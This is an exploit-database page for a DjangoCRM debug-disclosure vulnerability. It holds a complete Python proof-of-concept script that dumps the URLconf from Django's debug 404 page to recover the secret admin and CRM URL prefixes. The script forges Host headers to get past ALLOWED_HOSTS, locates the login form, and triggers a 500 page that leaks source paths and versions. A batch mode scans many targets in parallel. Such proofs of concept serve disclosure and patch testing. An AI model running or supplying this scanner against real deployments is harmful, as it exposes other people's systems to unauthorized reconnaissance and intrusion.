📄 DjangoCRM 2.4.0 Debug Information Disclosure
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
| CVE-2026-71238 | 5 Aug 202610:56 | – | attackerkb | |
| CVE-2026-71238 | 5 Aug 202611:34 | – | circl | |
| CVE-2026-71238 | 5 Aug 202610:56 | – | cve | |
| CVE-2026-71238 DjangoCRM - Hardcoded Django SECRET_KEY Enables Session and CSRF Token Forgery | 5 Aug 202610:56 | – | cvelist | |
| EUVD-2026-53311 | 5 Aug 202610:56 | – | euvd | |
| CVE-2026-71238 | 5 Aug 202611:16 | – | nvd | |
| CVE-2026-71238 DjangoCRM - Hardcoded Django SECRET_KEY Enables Session and CSRF Token Forgery | 5 Aug 202610:56 | – | vulnrichment |
#!/usr/bin/env python3
"""
CVE-2026-71238 - DjangoCRM (django-crm) unauthenticated debug information disclosure
Affected: DjangoCRM 0.91 through 2.4.0 (default committed webcrm/settings.py, DEBUG=True)
Type: Information disclosure (CWE-489 / CWE-215; NVD labels it auth bypass via CWE-798)
Root cause:
django-crm ships webcrm/settings.py with DEBUG=True and a set of "secret" URL
prefixes (SECRET_CRM_PREFIX / SECRET_ADMIN_PREFIX) that are the application's only
access-control-by-obscurity gate for the admin and CRM sites. With DEBUG on, Django's
technical_404_response renders the resolved URLconf on any unmatched path, printing
those live prefixes to any anonymous requester - defeating the obscurity control even
when the deployer replaced the defaults with unguessable values. A second unauthenticated
endpoint, /voip/get-callback/, raises TypeError and returns a full technical_500 debug
page (application source, frame locals, absolute paths, framework/interpreter versions).
Note on the advisory's account-takeover claim: it does not reproduce in the shipped
configuration. Sessions are DB-backed (nothing in the cookie is signed), CSRF tokens are
random since Django 4.0, no django.core.signing consumer exists, and the 500 page masks
SECRET_KEY/passwords. This exploit targets the verified, remotely observable primitive:
the disclosure, chained to locate the (possibly re-prefixed) authentication surface.
Usage:
python exploit.py --host 127.0.0.1 --port 8000
python exploit.py --host http://crm.corp.com:8000
python exploit.py --host https://crm.corp.com
python exploit.py --list targets.txt --workers 20
"""
import argparse
import re
import sys
from html import unescape
from urllib.parse import urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
print("This exploit requires the 'requests' library: pip install requests")
sys.exit(2)
CVE_ID = "CVE-2026-71238"
VULN_TYPE = "Info Disclosure"
# ALLOWED_HOSTS in the shipped settings is ['localhost', '127.0.0.1'] and is enforced
# even with DEBUG=True. Any other Host returns 400 before a view runs. We first try the
# target's own Host, then fall back to these so both stock and re-configured deployments
# are covered.
FALLBACK_HOSTS = ["localhost", "127.0.0.1"]
# A path that will never match a real route but does carry a valid i18n language prefix,
# which is mandatory for the nested (secret-prefix) portion of the URLconf to render.
PROBE_404_PATH = "/en/nonexistent-zzz-probe"
PROBE_500_PATH = "/voip/get-callback/"
def header(host, port):
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n, msg):
print(f"[STEP {n}] {msg}")
def section(label, content):
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success, evidence):
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# HTTP helpers
# --------------------------------------------------------------------------- #
def _base_url(host, port, use_tls):
scheme = "https" if use_tls else "http"
# Only include the port when it is not the scheme default, so the auto-sent Host
# header stays clean for targets that whitelist a bare hostname.
if (use_tls and port == 443) or (not use_tls and port == 80):
return f"{scheme}://{host}"
return f"{scheme}://{host}:{port}"
def _get(host, port, use_tls, path, timeout=15, allow_redirects=False):
"""
GET path, transparently working around ALLOWED_HOSTS. Returns a requests.Response.
If the target rejects our Host with 400, retry forcing localhost / 127.0.0.1.
"""
url = _base_url(host, port, use_tls) + path
resp = requests.get(url, timeout=timeout, verify=False,
allow_redirects=allow_redirects)
if resp.status_code == 400:
for h in FALLBACK_HOSTS:
resp = requests.get(url, timeout=timeout, verify=False,
allow_redirects=allow_redirects,
headers={"Host": h})
if resp.status_code != 400:
break
return resp
def _parse_prefixes(body):
"""
Given a Django technical_404 body, recover the nested (post-language) URL prefixes.
Returns (crm_prefix, admin_prefix, all_prefixes) where crm_prefix is the most
frequently mounted nested prefix (the CRM site) and admin_prefix is a distinct one
(the admin site). Any element may be None if it could not be determined.
"""
if "Django tried these URL patterns" not in body:
return None, None, []
text = unescape(body)
# Each nested pattern renders as two adjacent <code> blocks: the language prefix
# ("en/") followed by the secret prefix ("123/"). Capture the second of each pair.
pairs = re.findall(
r"<code>\s*([A-Za-z]{2}(?:-[A-Za-z]{2})?/)\s*</code>\s*"
r"<code>\s*([^<\s][^<]*?)\s*</code>",
text,
)
counts = {}
order = []
for _lang, nested in pairs:
nested = nested.strip()
if not nested:
continue
if nested not in counts:
counts[nested] = 0
order.append(nested)
counts[nested] += 1
if not order:
return None, None, []
ranked = sorted(order, key=lambda p: (-counts[p], order.index(p)))
crm = ranked[0]
admin = None
for p in ranked[1:]:
admin = p
break
return crm, admin, order
def _parse_500(body):
"""Extract the headline fields from a Django technical_500 debug page."""
text = body
fields = {}
for key in ("Exception Type", "Exception Value", "Exception Location",
"Django Version", "Python Version"):
m = re.search(r"<th[^>]*>%s:</th>\s*<td>(.*?)</td>" % re.escape(key),
text, re.S)
if m:
fields[key] = unescape(re.sub(r"<[^>]+>", "", m.group(1))).strip()
frame_files = re.findall(r'<code class="fname">([^<]+)</code>', text)
return fields, frame_files
# --------------------------------------------------------------------------- #
# Core exploitation
# --------------------------------------------------------------------------- #
def _try_exploit(host, port, use_tls, path="/"):
"""
Silent probe for scan mode. Returns (success, evidence). Never prints or exits.
Success = the technical_404 page leaks the nested URLconf prefixes.
"""
try:
resp = _get(host, port, use_tls, PROBE_404_PATH)
except Exception as e:
return False, f"unreachable ({e.__class__.__name__})"
if resp.status_code == 400:
return False, "HTTP 400 - ALLOWED_HOSTS rejected every Host we tried"
body = resp.text
if "Django tried these URL patterns" not in body:
return False, "no debug 404 (DEBUG=False or not django-crm) - likely patched"
crm, admin, allp = _parse_prefixes(body)
if not allp:
return False, "debug 404 present but no nested prefixes leaked"
ev = f"URLconf leaked; CRM prefix '{crm}'"
if admin:
ev += f", admin prefix '{admin}'"
return True, ev
def exploit(host, port, use_tls, path="/"):
header(host, port)
# ---- STEP 1: technical_404 URLconf disclosure (rung 2: recover secret prefixes) ----
step(1, f"Requesting a bogus i18n path to dump the URLconf ({PROBE_404_PATH})")
try:
r404 = _get(host, port, use_tls, PROBE_404_PATH)
except Exception as e:
done(False, f"target unreachable: {e.__class__.__name__}: {e}")
if r404.status_code == 400:
done(False, "HTTP 400 for every Host tried - ALLOWED_HOSTS blocked the probe "
"(harness/Host issue, not proof of patching)")
body404 = r404.text
if "Django tried these URL patterns" not in body404:
section("SERVER RESPONSE (first 400 bytes)", body404[:400])
done(False, f"HTTP {r404.status_code} with no technical-404 URLconf listing - "
"DEBUG is False or this is not django-crm (target not vulnerable)")
crm, admin, allp = _parse_prefixes(body404)
m = re.search(r"(Django tried these URL patterns.*?)</ol>", body404, re.S)
listing = unescape(re.sub(r"\s+", " ", re.sub(r"<[^>]+>", " ", m.group(1)))).strip() if m else "(unparsed)"
section("LEAKED URLCONF (HTTP %d)" % r404.status_code, listing[:1200])
print(f" -> recovered CRM prefix : {crm}")
print(f" -> recovered admin prefix : {admin}")
print(f" -> all nested prefixes : {', '.join(allp)}\n")
# ---- STEP 2: chain the leak to locate the authentication surface -------------------
login_evidence = None
if crm:
step(2, f"Following the recovered CRM prefix /en/{crm} to its login form")
try:
rlogin = _get(host, port, use_tls, f"/en/{crm}", allow_redirects=True)
has_csrf = "csrfmiddlewaretoken" in rlogin.text
final = rlogin.url
if rlogin.status_code == 200 and has_csrf:
login_evidence = final
section("AUTHENTICATION SURFACE LOCATED",
f"GET /en/{crm} -> {final}\n"
f"HTTP {rlogin.status_code}, CSRF-bearing login form present "
f"(csrfmiddlewaretoken found).")
else:
section("AUTHENTICATION SURFACE",
f"GET /en/{crm} -> {final} (HTTP {rlogin.status_code}, "
f"csrf={'yes' if has_csrf else 'no'})")
except Exception as e:
print(f" login-surface probe failed: {e.__class__.__name__}: {e}\n")
else:
step(2, "No CRM prefix recovered; skipping login-surface chain")
# ---- STEP 3: technical_500 source/traceback disclosure (rung 3) --------------------
step(3, f"Triggering an unauthenticated exception ({PROBE_500_PATH}) for the 500 debug page")
fields = {}
frame_files = []
try:
r500 = _get(host, port, use_tls, PROBE_500_PATH)
if r500.status_code == 500 and "Exception Type:" in r500.text:
fields, frame_files = _parse_500(r500.text)
app_frames = [f for f in frame_files if "site-packages" not in f]
summary = "\n".join(f"{k}: {v}" for k, v in fields.items())
summary += "\n\nApplication source frames disclosed:\n " + \
"\n ".join(app_frames[:8] if app_frames else ["(none parsed)"])
summary += f"\n\nTotal traceback frames with file paths: {len(frame_files)}"
section("LEAKED 500 DEBUG PAGE (HTTP %d, %d bytes)" %
(r500.status_code, len(r500.content)), summary)
else:
print(f" /voip/get-callback/ returned HTTP {r500.status_code} "
f"(no 500 debug page); relying on the 404 disclosure.\n")
except Exception as e:
print(f" 500 probe failed: {e.__class__.__name__}: {e}\n")
# ---- verdict -----------------------------------------------------------------------
evidence_bits = []
if allp:
evidence_bits.append("URLconf prefixes leaked (" + ", ".join(allp) + ")")
if login_evidence:
evidence_bits.append(f"login surface located at {login_evidence}")
if fields.get("Exception Type"):
evidence_bits.append(
"500 debug page leaked %s / %s / %s" % (
fields.get("Exception Type", "?"),
fields.get("Django Version", "?"),
fields.get("Python Version", "?"),
))
done(True, "; ".join(evidence_bits) if evidence_bits
else "unauthenticated debug disclosure confirmed")
# --------------------------------------------------------------------------- #
# Target parsing + scan mode
# --------------------------------------------------------------------------- #
def _parse_target(line, default_port, default_path="/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. http://host:8000)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8000,
help="Default port (default: 8000)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Aug 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.19.1
EPSS0.00313
SSVC